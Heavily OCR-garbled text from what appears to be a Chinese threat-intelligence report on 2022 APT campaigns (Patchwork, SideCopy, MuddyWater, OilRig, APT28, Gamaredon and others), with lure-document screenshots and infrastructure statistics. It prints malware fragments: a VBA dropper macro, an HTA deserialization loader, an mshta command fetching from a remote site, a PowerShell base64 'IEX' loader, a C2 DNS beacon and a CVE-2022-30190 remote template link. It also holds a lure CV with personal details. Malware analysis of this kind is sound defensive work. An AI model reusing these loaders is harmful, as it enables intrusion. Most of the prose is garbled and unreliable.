i~ 091@ DS CTISDEBWPY  s.8esioe Seadnd sotissce. m-“'; of ':"". Affairs
N spiingy Durg, ﬁmu-no ey
o,
onnagind 1
gt
Cobeo 10 ¢ 19.05,01/2522/87%1 2591 2022
o } 2y ines
I
[Eeasions Department Circular No. $/2005 (1) Gm
To all Officers in Foreign Missions,
ol 5.5 SR ALY T wﬂf;! S (¥ mﬁl
) ey fig | FAmffie srea amﬁtﬁun FAre e a2 | i
° PAYMENT OF TO SRI LANKAN 4 ¥ AR QPP (198 04 =10 99 WA FW @B (1 o
BESIDENTABROAD L | ST 202 T (3 WO (T30 WfSfAw o % |
Pensions Circular Number $/2005 issued on 27.07.2005 titled “Payment of Pensions in
Sri Lanka to Sri Lankan pensioners resident abroad" is repealed hereby and Pensions
Circular Number $/2005 (1) is issued in revision thereof.
Nearly 20000 Sri Lankan pensioners are resident abroad, and scveral instances have
come into light where others have been fraudulently drawing the pensions of pensioners
even afler their death. As such this circular s issucd with a view to minimize such frauds,
and as a guideline to Sri Lankan pensioners resident mmmwymys:‘unm
residet in a forcign country may draw their pensions in the following means. (O N i 2T
1. Drawing the pension as a foreign pension. e Elnn‘ﬁiﬂl
Pensioners resident in the United Kingdom, Australia, C-udl-ld India may draw their
pensions through their respective High Commissions. Pensioners resident in other e
‘ :unmu may draw their pensions through the office of the Crown Agent in United (¥R 222229190
Following dociiments have to be submitied to this department for drawing pension as a
forcign pension.
A Two Roll Forms, duly perfected. ) 5 A, G T, 5
B Two copies of recently taken photographs in passport size (which should 2) % R e (), B
be certified by the officer who certified the Roll Forms.) 3) il 564 O OR1-1, 2 EHifS, ¥} grere, o
€. Documents in proof of resideace (Certiicate of Citizenship/ Residence (CATBfB G a6 =yvefs e SMB0s o) S WAL x
Permit/ documents issued by the forzign mission in proof of residence)
D Cenified copies of passport, AR
Payments will be effected through the m;u. Commission or the Crown Agents N
immediately these documents are received.

A FEZFHEGERIMVFEZFERASBLERRFESERY A ZMUARENEHYHAFEQASHEXFESE
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[} ~wnotification002.tmp 2022/3/3 12:33 TMP 32# 1KB
[} ~wnotification003.tmp 2022/3/3 12:33 TMP 324 1KB
[ student Data Base 8.pdf 2022/3/3 12:33 Ry 3KB

A WEHPFERBLNKEZR

Directorate General
National Institute of Maritime Affairs .
Bahria University.
Shangrilla Road Sector E-8
Islamabad .

BU/D NIMA/2022/ Tele: 051-9261968

FORWARDING OF PROPOSAL — FOCUSED TALK ON RUSSIAN UKRAINE CONFLICT
IMPACT ON PAKISTAN-IMPLICATIONS FOR REGION AND BEYOND
Reference:
A. Meeting held at NHQ chaired by COS on 11 Mar 22.

i. Apropos meeting at reference, desired proposal is given in ensuing paragraphs. .

2. Adiity :  Focused Talk.

.;! Topic : RUSSIAN - UKRAINE CONFLICT

4. Execution  : In order to chalk/ work out impact of Russian Ukraine Conflict
on Pakistan a two-day activity will be conducted. Nominated discussants will be
requested to set the stage for discussion. .

3. Explanation : The Russia - Ukraine conflict has thrown the world into great

chaos, which is turing into misery for the local populace. This conflict has all the
right ingredients, if not controlled at this stage, to lead us to the third World War.

A RS BEMEZINEXIES XS
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byte_1886C388[u1] =

v6 = {(const char =)sub_10020730("USERNAME") ;

v5 = (const char =*)sub_10020730('COMPUTERNAME");

sub_100015B08(sz0bjectName, "/%s~%s™%s/uiekkdslrertukjudjkgfkkj", v5, vé, byte 1086C380);
sub_100024a0();

result = sub 10002720():
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BN Patchwork4a4:

Patchwork APT A4, th#F 9 B % Hangover. Dropping Elephant. Chinastrats. Monsoon. Sarit. Quilted Tiger.APT-C-09 #1
ZINC EMERSON, F 2015 £ 12 BEARA M ZARNBIREEN I L EFIMT=MKR BEZBIE XAMEHNEENH
KN EFH T ZARWERRSENEE X, BMERECEE PE B=F ShE ZMIE. FE&ZRAF T
EENSPEAREERIZDEL,

20224, 8] F404-APTEREIMERE AL IZARMINNE—HE R K, BHEAHIE, 7EXFPatchWork BRERS 23R 7 HIK
TRBEHWHERSEHIT TRAND AR RIED B RHKEPatchWork RSB FEAERBFARLN TR, FHEILEM E#1T
ZRFARIE HRBEFESERG TR 2RAERSEEERRT EEKRE.By Pass BRERE. REMNERE. REHE.F
MEZMEREE. . (R MEHITT6m)

BN REFRERMEREHE, AHERSONE AT, REARNEENRSEREHRGESERRTUTEERS

o
S5.[EEHRISIRIE
B RS - E
matlab_R2022a_win64.exe
MathWorks.exe
2.BEIE X 3.REMRS
E=H:ReTnt f Rt 2 REB/FHRIA | |
ERARSBEERRT: htaccess.exe AN B
sharp_prsc.exe QQInstaller.exe LEmmEE —> @ — 44T
MatlabUpdater.exe SangforHelper.exe | —l
invoke-ui.psl
MathWorks.exe N Loader
. IS Bk MatlabUpdate.exe
ChulME.exe { }
AN
{ } Install confutil.exe
mconf.exe HEBEARIMZE

. Attack Chain 3 IMAT
Attack Chain 1

Q Regm i @
\ Attack Chain 2 l Attack Chain 4 GRAT J Attack Chain 5 Patchinfecter P
3 B . =
{} <> {}| — 1xemn — aFHAAXE — =] —
JSHIARERS 8
Loader ByPass UAC Loader confutil.exe
REBEREZIZMF
l 1 21T
O —B = R
TR
Herbminister Herbminister Loader E AN AN
BRSS U BRI l =] «— 6.EYEH — { } <« 4 MRS THMERAT { } -«
C&C RAT T CAB
5. F&Base64NFZERATRE
Herbminister
HPythonF LG EEN
#5808&443, ZHFXORME&RCANNER Grat
4437 RERIEH S sangfor.com.cn E
EEZFSMHAR E

BE. IR PE...
EnBase64RAT B1H

A HEBEPFRAREHE
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20225 Patchwork 2B 2R A8 K 3E = i8R
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A 20224 Patchwork{BRMEX A= 150

XFHerbminister{Tahi# BRI S N FEIEQIFRIELAARSXE

3 (PatchWorkZBZRHerbminister{TalE 22 FEEAIE L)

& (FTPatchwork APT4RARETETHIE SO HT)

AXRBEERD

LABOUR & HUMAN RESOURCE DEPARTMENT
GOVERNMENT OF THE PUNJAB

3. Department;

4. CNICNO.:

5. Contact NO.:

6. Email 1D:

A FH5ANERBRBRERES XM
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https://mp.weixin.qq.com/s/XMrWLx6KVeoDQ7WzvOcwqA
https://mp.weixin.qq.com/s/egG0nORZFvo_rCY_zmTgVQ
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ConfuciustBER EH2013FHFIE—E
BEMBBUSTMN IEA BB BFLEHN GBI,

EEK, EE BEATEM EtE I ZHR TR EEENERAETFR, (hER

2022F 2F, HNENEZARNESHEFRAAE, 4045 KB BEREMN 2 FHRZBAB XA~ HEBL 1401,

20224 ConfuciusZBZRFHEHF =150
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PRI T AT

To view the document, click "Enable Editing" and

“Enable Content"

(Microsoft trusted and secured document)

To view the document, click "Enable Editing" and

"Enable Content"

(Microsoft trusted and secured document)
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Sub shoby_docLdr ()

Dim path_shoby file As String
Dim file shoby name As String

Dim fldr_ shoby name As Variant
file shoby doc = "word doc"

fldr_shoby name = Environ$ ("ALLUSERSPROFILE") & "\"

If Dir(fldr_shoby name, vbDirectory) = "" Then
MkDir (fldr_shoby name)
Sonam Singh. B &
;\EOUT ME. OBJECTIVE. path_shoby file = fldr shoby name & file shoby doc & ".docx"
Date Of Birth - 15 May 1995 Seeking the position of Elementary English Teacher in a Dim arlshoby () As String
progressive institution to apply my strong knowledge of Dim btsshoby () As Byte

the subject and help students attain their highest
polentiel Dim os As String
os = Application.System.Version

’ Education-
Birth Place - Amritsar. Study Pr .
. arlshoby = Split(Form2.TextBox2.Text, " ")
Email I'd Institution/Place of Education.
sonamkarwati1@gmail.com * Din LinsHobyml FpUcuble
Personal Informational.- Guru Nanak Dev University - [GNDU], Amitsar. Linshoby =0
S o For Each vl In arlshoby

ReDim Preserve btsshoby_(linshoby )

Name: Sonam Singh- Master Of Business Administration [MBA] In Financial

Hanagenent. btsshoby (linshoby ) = vl
Father Name: Jaginger Singh - Post Graduale : Girl College, Delhi Kendriva Vidalaya No linshoby = linshoby + 1
* 5, Amiitsar. Next

Guru Nanak Colony WORK EXPERIENCE.
< 5 Open path_shoby file For Binary Access Write As #2
SKILLS- ARTEUNTANT I 1ICE Sy Put §2, , btsshoby
Teaching - TEACHING IN ACADEMY (AMRITSAR)- Close #2
. .
Beountant- PERFESSIONAL PROJECTS.
’ PROJECT MANAGMENT ECONOMICS. Dim docNew As Document

Set docNew = ActiveDocument

A WEPHIMAMBRK G A5
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SideCopym— M8 S BEHNEE XWAPTAR, RIBEFIEMELR, EELVM2019FEHIEM —EEEE TEHWEIEERK,
5 ZENEMM E T 1 ZALENEFRETEHRRGERGSideWinder 187, %445 S5 TransparentTribe G 18 2 &, ATEER
TransparentTribefy53 3z 4H4R,

2022547, HATNFAET ZALNRETEP LM, ZALNRBEF LT —ME W LinuxFEHGolangm BN ER
B EXMEBREERTHELE, EIFHHBIUSEXHEE (docx\html\jpeg\json\pptx\wasm\webp\xlsx) B934,

RIBSEBNERKEZARREHARBFHBERBESIdeWinder, E2ERHH AP .INKE L BER TR ERRES, 5
SideWindertBINiZBLR7EEC Sharp RATHR[EIFE B ARINAIES XA, MTAZIEEREN B,

B S8 & )

. | SPL ALLCE ORDER IMPL.pdf 2022/8/23 14:11

. | SPL ALLCE ORDER IMPL.pdf Bt X

B RESK ke EEER LEIRRE

ﬁ SPL ALLCE ORDER IMPL.pdf

BtRRE: RIFfERs

BtriE: System32
B#R(T): item32\mshta.exe http://ryanglobalschools.com/

A WHERPHIBILNKEA RG]

<script language="javascript">
try {
serviceVertion() ;
var LiveStreamingSites = baﬁformxfourstream(puncutreTyre%)
var Precisely = new ActiveXObject('System'+'.Runtime'+'.Serializat n'+'.For'+'matters'+'.Binary'+'.BinaryFormatter");
var makeNewArreyva = new ActiveXObject (' tHv .Collections.ArrayList');
var metroDownTown = Preclsely Deserlallze _2(LiveStreamingSites);
makeNewArreya.Add (undefined
var realObject = metroDownTown Dyna.mchnvo](e (makeNewArreya ToArray()) Createlnstance(flrlnglncldent)
realObject.RealityShow(dividAndRule,"CONCESSTION TN TUITION FEES FOR WARDS OF DEFENCE PERSONNEL.pdf")} ecatech (e) {
// alert(e):
}

Einally{window.close();}
</script>

A BIFRIRT

45



| RIAPTAL ER R
3-5
PIEAPTLRLREED S 4R

> > >

&

N/
()
7N\



PRIFAPT4R4RETN 734

StrongPityZH£R

StrongPity XAEHEHFRE Promethium, B 2012 FLUSR—EIER, ZAL R —MAE P EKTERAER, A 0day. ZFEWE.
MEE W EHFEXEES, RAKAKE EXANEEREH AN, L BMEREELEH SFIE. AEFEZK.

RIES FHIR B NIE StrongPity KB X BEEREH, KT M Downloader BEEHE v28 hiz, HE(K TTPs BFREEFHAHE
BEERAK.

name=v28_kt32p0_1615676559

2022 F2F, HNNENEZARNESHERNAE, 404 SREMBEREANSFHRZABLBXE~HEET 440 1
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Y Muddywater£E4R

MuddyWater AR FEXRFHRARMXE RXEFRU MDA AMEEEAT B 5. R UHNEUNMILEFER, ZARKREE
SR E A X 4 Bt MG A BGE MR

MuddyWater T Esh EEHNKREEIFEENREABE TR, BXEETAEEARRT Chisel.SSF # Ligoloo

2022 FHIEENBR W AE T —HREWE T MuddyWater ARBEXMKE TAE, ZTAEHN PowGoop L, It /RIKEE
8y PowGoop Tt EEFEAI N =15

- DLL fMin&igs
- R, INH S PowerShell fils
- PowerShell &7, 2R BHRITHN THIZFED

sub_4064A0(
1pFileName,
L"function bd($in){$out = [System.Convert]::FromBase64String($in);return [System.Text.Encoding]::UTF8.GetString($out);}",
117);
memset(&VersionInformation.dwMajorVersion, @, ©x90u);
VersionInformation.dwOSVersionInfoSize = 148;
GetVersionExA(&VersionInformation);
if ( VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion < 2 )
i
v54 = v63;
v16 = lpFileName;
if ( ve4 >= 8 )
vl6 = (LPCWSTR *)lpFileName[®];
sub_407930(v68, FileSizeHigh, v15, (int)&unk_42DA7C, @, (int)vle, v54);
sub_486E20(L"$a=get-content \"");
sub_4@6E20(L"config.txt");
sub_4@6E20(L"\";$t =bd $a;IEX $t;");

A & config.txtBLoaderLid F E&
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OilRig — P REMMARRA APT AR, E DB 2014 FLR—EURFNET, BT BEIEK ZARKHEHNZ ML, EfhE
EER. B, BETR. WA BEFTIL ZAREET LinkedIn EEEMRMEHITHARTRERE, MIRHEEREMBZAR
BESEIENIBXE , ZALERMNHTIHMER S, F A BFARZ B X RZRKREHEEBTR.

AR EERD

2022 £ 4 AR, Fortinet A Malwarebytes &R E£MA A REMZARLIEHLLI B IR ERIEER Excel i, ZXEETERE
—/NE A Saitama W], ANZXEEEE—EATHER Saitama EIHARRERFAMNE, ZRESXART
Excel THERHITHA— M ETHY EBIFHENH TIER,

1 meEE REERA.
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{’ 73 " " then Press " " to show Content of Document
&

=

A RIBXHFBHER
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Function eNotif (tMsg)
GetIPfromHostName ("gw" & tMsg & rds & ".joexpediagroup.com")
End Function

Function GetIPfromHostName (p sHostName) As String
On Error GoTo 05
Dim wmiQuery
Dim objWMIService
Dim objPing
Dim objStatus

wmiQuery = "Select * From Win32 PingStatus Where Address = '" & p_sHostName & "'"

Set objWMIService = GetObject ("winmgmts:\\.\root\cimv2")
Set objPing = objWMIService.ExecQuery (wmiQuery)

For Each objStatus In objPing
If objStatus.StatusCode = 0 Then
GetIPfromHostName = objStatus.ProtocolAddress

Else
GetIPfromHostName = "Unreachable"
End If
Next
GoTo 06
o5:
GetIPfromHostName = "someting wrong"
06:

End Function

A RENZEAE
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APT284H41

APT28 1 #% /5 Fancy Bear. Pawn Storm. Sofacy Group (Kaspersky). Sednit. Tsar Team (FireEye) 1 STRONTIUM
(Microsoft) 2T HIFIM L 8] 5H4E, FBIEEIITF GTsSS 26165 ZBRA, ZAALITINEBUT S ERABHERZIAINE, THIR
MERKiFLLAER (LY) F, T FFREMTHIX. B 88R. BUT. &7 EE. 1AEBATRIER

=B S8 & )

6 BT SR = XISEHRZEMN XY, ZXEER 1Day ik CVE-2022-30190 =& # & AT 5 EX Chrome. Edge. Firefox AR

FIEER

Type="http://schemas. openxmlformats. org/officeDocument/2006/relationshir
leObject” Target="http://kitten—268. frge. io/article. html!” TargetMode =

daaa271cee97853bf4e235b55ch34c1f03eabf8d...

Rt w8 58 wMFE B\R 9E

Will Putin use nuclear weapons in
Ukraine? Our experts answer
three burning questions..

As Russian President Vladimir Putin confronts a series of humiliating battlefield
setbacks since his February 24 invasion of Ukraine, and amid an increased flow of
Western arms into the country, the risk of escalation remains all too real.~

So we asked some of our top experts to answer three burning questions about a
scenario that has alarmed many analysts watching this war unfold: the Kremlin following
through on its threats and using nuclear weapons in the conflict. They weighed in on the
chances of Putin taking the fateful step, how he might do it, and how the West would

A EHEHCVE-2022-30190M R iAHF 4Rl

2022 F2F, HNEVENZARNFESHEATER, ZAREAXEBMIMEHSHEET 10 2R, BXEA WA EEL
10 7R,
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APT29 B— M ERLERFAR, BABRIIEEATHES HERISIRIUE (SVR) . AXEHWEFEEINL. BIFT. EEE. tF
S BRI AR SF,

20224 APT29ZH A EAIE HEE B BN

r@&% & g r&ng» &&» @3@ &9 @@ y & &;%» &R
N
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1-5 B3t E RN R LRI B, £ 1-3 BMPBRETI1ZALRFI A DropBox. Firebase 3 Trello ¥E=FF&H
F7eH C&C,4-5 BMFI& B Google Drive APl 5 Google i i#{TilfE , B LEZF T2 F Google Drive =, REK &
# T8 CobaltStrike,

Random random =

(folderPath, fileName)

ralue (name, "+ str + "\

(random. Next (60, 180) * 1000):

(random. N (60, 180) *
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FINT 2—MFTEFENBAR, B 2015 FLR—EERK, TEHNTE, BTHEKTTIL, 2018 £ Fin7 BXATF A RHE
MEEREHEMFHRELFLE.

ZAAB AR T ERAMAEIESFAEEES, F190 JS(Downloader). PowerShell (Downloader\Backdoor), FBTiZALRA7E5R
W AT wEKEEE, RIESFRENB G ZALRB[ETRINN TR

- POWERPLANT (PowerShell Backdoor)
- CROWVIEW (Downloader)
- FOWLGAZE (Downloader)

X T ETh

B 2021 & 8 ALKEREERE S ARMRSEP (HHS) I S#ERE LilyGO mi#Ry USB #1Rig®E, itxizh. RIEMERT
ArFETIV,
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Turla X4 Snake, Uroburos, Waterbug, WhiteBear. & #] M 1996 FFF347EShH, B GData 7£ 2014 FiREE, REHE. FIH
5e. ESET FREEXTZ AL A TIBERM DT HIEIERNS & 45 MER, EEFHITINIERI] BT ESENE, BT EHR
HNEZER.

ZAALRESE LR R BB THEXESE, Z et EREMEMEERASAEMTS C2 #TEHIERE, SEHRNAMZALR
IMEXTERBI R TR EER L Coremail AR O,

X T ETh

O - 2022578

7 B E T B 4517 DDoS WE /1R & Android R4

®© - 2022458

5 BERKMARETWEIBIIIZER
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B3 GamaredonfE4R

Gamaredon IR THMARARHHNEKEFEEPERERER SR =, HAXBOREHNSR=ERI], WLk,
TAER. sElRED. ERSER. B2/, EB. BRE, ZARFA _LREALETEBN AR BRER A EMERTSHERR
HIEIRZH

2022 FHERSKADRIEN, Gamaredon ALUERZEEFMBENNARTERLALE, HIHRNNZARH#TLERY]
TR

EARTTE41t, Gamaredon H4R7F 2022 FEHIRNERRY IP B4 3000 1, IR N EABIH AT 12000+ 1
2022 £ Gamaredon HLAFRAM IP B=HERITE RN TR E 2022 £ 2 BHERNERN IP HERXFIEE, XS5HS4
FIRRINEYE, XMIYEE Gamaredon ALMK TR NEK. HEEER Gamaredon AR NAY IP B ERNIRE,

R F— M EXS LB AVIRTS IRIEFRA 13T Gamaredon B4R IP #H=RY &, ZBREERRY IP BRUERERIAE, —MRTE
H=X,MEEX L& IP EHBNUERS KKK,

GamaredonZBZR 2022 PR F= 41T

A 2022 GamaredonfHERIPE =41t
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g Gamaredon B4 [P A= AUHEIRER A T, 1Z4B4RRY IP R 721E 2022 F 3 BHiEAE B ERFE— M EZHEHNT K,
2022.1.1-2022.3.1 fAi8), Gamaredon B4R |P A= IR B R FRE R TR, a5 XY E R4 KR53 BY IP &AL TFH

THIEA, D HESA 16 1

20226 APTERIPEF BB A TIER
T T :

. 1400 - 1500
W 1300- 1400
@8 1200- 1300
@ 1100-1200
@@ 1000- 1100
900 - 1000
B 800- 300
& 700 - 800
@ 600 - 700
@ 500- 600
@ 400- 500
@ 300- 400
& 200-300
@ 100-200
@ o-100

A 2022FAPTAHRIPE IR E D HIZR

2022.3.1-2022.12.29 HAia], Gamaredon 4847 IP H=HIR (I B N HIFRIM AR, ATUEHXMTERRAE S IP I FEE.,

XABSEER AR IP DRTE2Ek 60 MER.

2022£F3BLFIGamaredonfBERIPE IR B S IER

iz

@ 1200-1500
@ 1300- 1400
& 1200- 1300
@ 1100- 1200
@ 1000- 1100
@ 500- 1000
@8 500-900
8 700- 800
@ 500- 700
@ 500- 600
W 400- 500
@ 300- 400
@ 200- 300
@ 100- 200
@ o-100

A 2022438 LIAIGamaredonBRIPA = IR B N iGN
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2022 £ Gamaredon £H£3RY IP B F=#IB B 915 W0 Rz

2022 £ Gamaredon £H4R IP Z#=IB(E HiER
T T

Vs

W 1400- 1500
W 1300- 1400
- 12001300
. 1100- 1200
o 1000-1100
@ 900- 1000
. 500- %00
- 700-800
. 600- 700
W 500-600
@ 400-500
. 300-400
- 200- 300
- 100-200
- 0-100

A 2022FGamaredonfBLIPE IR B D RIE R

Gamaredon £H45 IP & 7=HY ASN #1 ORG 7£ 2022.3.1 Hi/G I E— LR E M ES,
2022.1.1-2022.3.1 HAja], Gamaredon £HZ7 IP #F7=H9 ASN B9 fiE R0 RErR, AT LUEH AS20473 0 AS14061 48 K34

2022 £ 3 BLJS Gamaredon 448 ASN %150

AST21 1% HE 15%
AS4134 1% —— |

\
AS63949 1% ‘\\\

\\\\‘

AST49 1%

AS39572 1% 4\

AS39798 2% —k
/

AS197695 3% —/V

/
/
AS399629 3%

/

AS20473

AS14061 sip— L AL%

A 2022438 LljgGamaredonB4EASN A ISR
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2022.3.1-2022.12.29 HAig], Gamaredon A4 P =89 ASN 953 R B M0 FFr, B LAB HH AS197695 F1 AS9123 4 KER 53

AS29182
AS49392

AS51659

AS43830

AS39572

AS39798

AS20473

AS24936

AS9123

2022 ££ 3 BZ#i Gamaredon A48 ASN 7 1ER

1% HE 8%
1% \
AS197695

1% 43%

1%

1%

3%

4%

5%

32%

A 2022438 ZBiGamaredonB4EASN A fIE R

2022.1.1-2022.3.1 #Ajal, Gamaredon fA4R IP &R ORG M HERM TR, AILLEH “Domain names registrar
REG.RU", Ltd #l TimeWeb Ltd. G4 RED 5y, X B AIERLFHZ HriR /A, HAl619 ORG S ¥4 61 1

JsClioT

Digital Energy LLC

DataWeb Global Group B.V. 1%

LLC Baxet

MivoCloud SRL

The Constant Company, LLC 4% /
Plusinfo 000 5%

TimeWeb Ltd.

2022 £ 3 B2 A1 Gamaredon A& org H71ENR

HE 8% “Domain names registrar REG.RU", Ltd
42%

1%

1%

2%

3%

P

A 2022738 ZgiGamaredontBR & =orgH RiEM

40475 R RS HREIPA

61



RERAPTLALRERN S 1

2022.3.1-2022.12.29 #Ai&], Gamaredon B4R IP #/=fY ORG WA HIE R TEIR, AILIEHXMAYEERA The Constant
Company, LLC # DigitalOcean, LLC 4K &85, XMBTIEIEZAIA ORG S ¥06X 218 1,

3 AJg Gamaredon A7 org B1ENR

Verizon Business 0%
UAB Cherry Servers 1%
CHINANET-BACKBONE 1% HE 14% The Constant Company, LLC
Linode, LLC 1% 40%
DIGITALOCEAN-ASN 1%

AS-CHOOPA 1%
DataWeb Global Group B.V. 1%
AS399629 BL Networks 1%

DoD Network Information Center
2%

i

BL Networks 2%

MivoCloud SRL 2%

"Domain names registrar REG.RU", Ltd

DigitalOcean, LLC
3%

30%

A 3HEGamaredontAR&EF=orgniE,
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ERT2RI, M 2020 £S5, BT SR =0 APT £848 Gamaredon fEFRZRYIEAET 4000 4>, HATE 2022 FEMHA
TR T 2000 (B E ZAIEREIEE) . RIEFKIIXT Gamaredon HRMFF D4, M 2020 EESZALFERAIH IP
£9 500 11,2020 FfEARY IP & 20+ 1,2021 FEAIHIE 300+ 14,2022 FESERIRY IP F 120+ 1

IRIEHA IS Gamaredon AR R HHIIRER, LT 2022 FHIERIHE SEEIX 12000+ 1, 2022 FEAMEMHB A
BRI TRz XTEE EEMFLREE, £ 2022 F 2-4 =P BAFRNEANEZRLD, 5 Gamaredon A4A7E 2. 3 B3dE
BIERAERTT ERXMERNEEREESEXNME, Gamaredon ARERAMAEDEHZEIAR 2021 FHE 2020
FRERIFHER G4 5 BRI 10 BME T RENER, TERRANZARE BNREARMZEARALRTHRERT, T
BIZARTSARERAEB B~ URNEEEA.

Gamaredon284120224F 5 B $GIH B B 15N
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H—DHt, HTPNZARMERZFORIEL, RARLABORBHNNRIHZRN ru, RIEXDEHBINRKIHA org .
com; ZARZBIBARANFEHZREELLNE, MAFEERRSERNRMN—RIEN ERNERFIEN FIHRIRNERD
B Z AR ER RS EHZ N TR, EFARSHEEEZ A corolain.ru (B 1700+ MFIEHHE)

Gamaredon A48 2022 FEiH B HELKIT

heato.ru 1% Hfth 33%

corolain.ru
flashiko.ru 1% 13%

()
buckso.ru 1%
lahatas.ru
cavalierso.ru boletuso.ru
bishoten.ru 8%
chicagosi.ru bolt
oltorg.ru

detroito.ru < g

hornetso.ru

moolin.ru

bluestacko.ru
libellus.ru %
retarus.ru jolotras.ru

(V)
gortisir.ru >
marak.ru

coridas.ru 3% 4

A GamaredonfB4R2022F TG Z B LIt

@B _ERGIT047, AT WA 2022 F 3 ARIEZARD IP B ERRA, SR FIERAE T,

S EMENFRIEARSXE

& (BEMSEPIRTEHAPTRAERE AT D)
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Pybemoe:
CEBEPOIOHELIK 24 | 8
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@ soemIn SREE X 7 IR, wresr || e |
— L
kpokon Ha 25 pokis Ta yki1azeno gorosip operan sexi Ne 4412900000:04:002:0258 six
29.08.2013.¢
Ha op it TOB «Cesep it acd 6 #t 3aBom» it
MnSHD P 1 it . Jns sar —
cyMimer BCA AC-158, ang Bur

Y
eMymbCiif OITYMHHX MOPOXHIX — KOJOIIHHE MIHH Wil TeXHOJOTiYHHH KOMILIEKC MO
BHPOOHHITBY ac(haTbTO0STOHHOT CyMimi Ha 0a3i yeTaroBkH JIC-158. «

23.09.2021 mp: 1 it oraax 0 caiiTy
Vkpaism (gov.ua) MinicTepcTsa 3aXHCTY AOBKLLIA Ta NPHPOAHHX Pecypcis VKpainu, a
camMe €HHOTO Pe€CTPy 3 OUIHKH BILIHBY HA AOBKULIA, SKHA 3HAXOAHTBCH Y BLIBHOMY
JAOCTYT B Mepeski IHTepHeT, PO MO CKIaAeHO BiOBIIHHUA IPOTOKOL.+

TTix yac ora9ay €AMHOTO PeeCTPy 3 OUIHKH BILTHBY HA JOBKILIA BCTAHOBJEHO, MO 38
HoMepom 20202195342 sapeecTpoBaHa CHpaBa TpoO OLIHKY BIUIHBY Ha AoBkitia TOB
«Cesep it i 3asom». B omHOMY 3 PpO3AIME chpaBu
posMimyeTscsi BHCHOBOK 3 OLIHKH BILIHBY Ha AOBKLLIA MiaHOBOi Auttsmocti TOB

C it acd 01 it 3aBo» (kox €JIPTIOY 37051637) 3 BHpoOHHITBA
acarTbTOORTOHHHX CyMileif Ta eMymbeifi OITyMHHX JopokHiX («Cmopysa ams
P TBa ac b {IIyBaTBHA Y JC-158 no synboraana
Jlimmen, Oyamsox  Ne2Jl, wm.Ceepomomensk, Jlyrancekoi obmacti») Ne  03/2-

- 01/20202195342/21, Bumanui 16.10.2020 [ exonori Ta
s g s, 0 » pp
ittps://www facebook com/groups/pozitivsever/ ¢ ecypeiB JIyranchbKoi 061acHOT BIHCHKOBO-UHBLTBHOT aIMIHICTPaLlil.
¢ b torveoy Sacbiooke cous/grovs 3 pecypis Jly 6. i i icTp:
g, |5 3a pesyibTaTaMH ONIHKH BIHBY Ha JIOBKLLIA MIaHOBOI mismeHocTi TOB
-y https://www facebook [220932901713957/ » » 5 SABGIS Ta e p——
o hittps://www.facebook /426205779040190/ = o Ha JOBKINIL, . mo it BILIBY DpH i
KyasTyprst 2 = TLTaHOBOT i 1 Ha P € BHKHIH 3a0p: PedoBHH B
Cesepogonems? Ipedtrorciscchook o RINIS 20T o aTMocepHe NOBITPA BiX 16 JiI0WHX CTANIOHAPHMX Ta 1 MepecyBHOTO Ikepena BHKHAIE
CEBEPOJIOHEIIBK: hitips://www facebook com/groups/609099296559799/ « g 3a0py, PEYOBHH B aT (epHe mOBITPA. ¢
C 24 Onlines hittps-//www._facebook / 266850500453738/ ¢ o Taxk, p exonorii Ta pecypcie  JIyraucskoi  0071aCHOT,
Cesepononenx Moxogoiie hitps://www.facebook /s [167991163628059/ < © posr pesyasTaTH iB, KapTH 01
2 o A =
LPARE IR httne: /i facehank com/aronne /2848725197147, 2 i
b o H2W. HAW 1293 4%
E1R %20 1494y B WE M s - 1 + 100%
A BEFHIBFATRE-1 A REFHIMEFARA]-2
MIHICTEPCTBO MINISTRY
3AKOPJIOHHHX CIIPAB | OF FgFRE‘GN AF%“RS JIVTAHCBKA OBJIACHA JIEPZKABHA AJIMIHICTPALIISI
JIYTAHCBKA OBJIACHA BIHCBKOBO-LIMBLIBHA AJAMIHICTPALIS
Ten.: (044) 238 17 48; dpaxc: (044) 238 18 88
Murxaitiiseska noma, 1 E-mail: zsmfa@mfa gov.ua 1 Mykhailivska Square

. Knis, 01018, Vipaina Web: Lttp:/Avww.mfa.gov.ua

Kox €JIPTIOY 00026620

Kyiv, 01018, Ukraine
9

b
24.06.2019 Ne71/BMY/020-546-526 KepiBHHKAM 3aKOPIOHHAX
JAMILIOMATHYHHX YCTAHOB VKpainn
(Xe BeIeTHCS PeecTp YCHHOBICHHX
nireit)

lodo ysazarsuenns ingropuayit 3TV

cmacosHo axmusizayit dinterocmi y cdepi

HA2AAGY 3A Y CUHOSTEHUMU OImbMU

3a pezynsTaTaMu y3aranbHeHHs iHdopmanii oTpumasol Bix 3[Y mojo akTHBizanii
JANBHOCTI Yy chepi HALMATY 32 Y JUTEMH-TD! ‘Vikpainm, i MO
Tpo Take.

3BepTaeMo yeary, 1o, HeIBaXKamun Ha JopydeHas M3C Vxpaium, criBpoGiTHHKI
OKPeMHX JIHIYCTAHOB (OPMATBHO MOCTABIIHCA O NHTAHHA MO0 MOKIMBOCTI BKHTTA
JIOIATKOBHX 3aXOJIiB Ta JOKTAIaHHA 3YCHIb JUIA OTP! ingop i Bix y i
TpO YMOBH TPOKHBAHHS Ta CTAH 3/0POB’S JiTefi, CTOCOBHO #KHX He HAXOIIIO

3BiTiB. P HAa Te, IO YKPAIHCBKI AiTH micnd

Th TP TBa OATHKIB-Y( 9iB, AKi KepYIOTBCA HOpMaMI

‘TBa Kpainn mepeGy , iITHOPYIOUH BHMOTH YHHHOTO 3aKOHOJaBCTBA YKpaiHi

[¢ y aiteil Ha VABCEKII OGIIK, 23BITYBaHHA HpPO IX YMOBH
p i ), @ TaKoK HOPMATI i Ga3m KpaiHm

Anr rare cracermeT erran maTTTa,

A ERBIAIEFEATRG-3

404E RS IREIBA

JENAPTAMEHT EKOHOMIMHOI'O PO3BUTKY
TA 30BHILTHBOEKOHOMIYHOI JISLJIBHOCTI

), M. C . paiia, 93405
Teafpaxc: (+3806452)2-33-08  c-mail: economy@logagovua kox CJIPTIOY 24188344

e
HaNe Bia

Minicreperso exonomikn Y kpainn

1llodo suxonanus nPomMoKoIbHO20
: 4 Kb

Minicmpie Vipainu 6io
11 cepnns 2021 poxy

Ha BukoHanHa mucta MinicTeperBa ekoHoMikM YKpainm Bin 28.08.2021
Ne 4802-10/43061-03 mono sukomanns absauis 3.4 nynxry | posminy 7
TPOTOKOMBHOrO pimrchnst 3acinanmus KaGinery Minictpis Yipaiun sin 11 ceprms
2021 poky (Bux. Ne 1-97/1/21-7 mix 11.08.2021) mogxo 36Gopy HaHMX 1po
NpalCBNAIITYBaHHA 0ci0, CcTBOpeHHs pobouux Micus mix vac  peamisauil
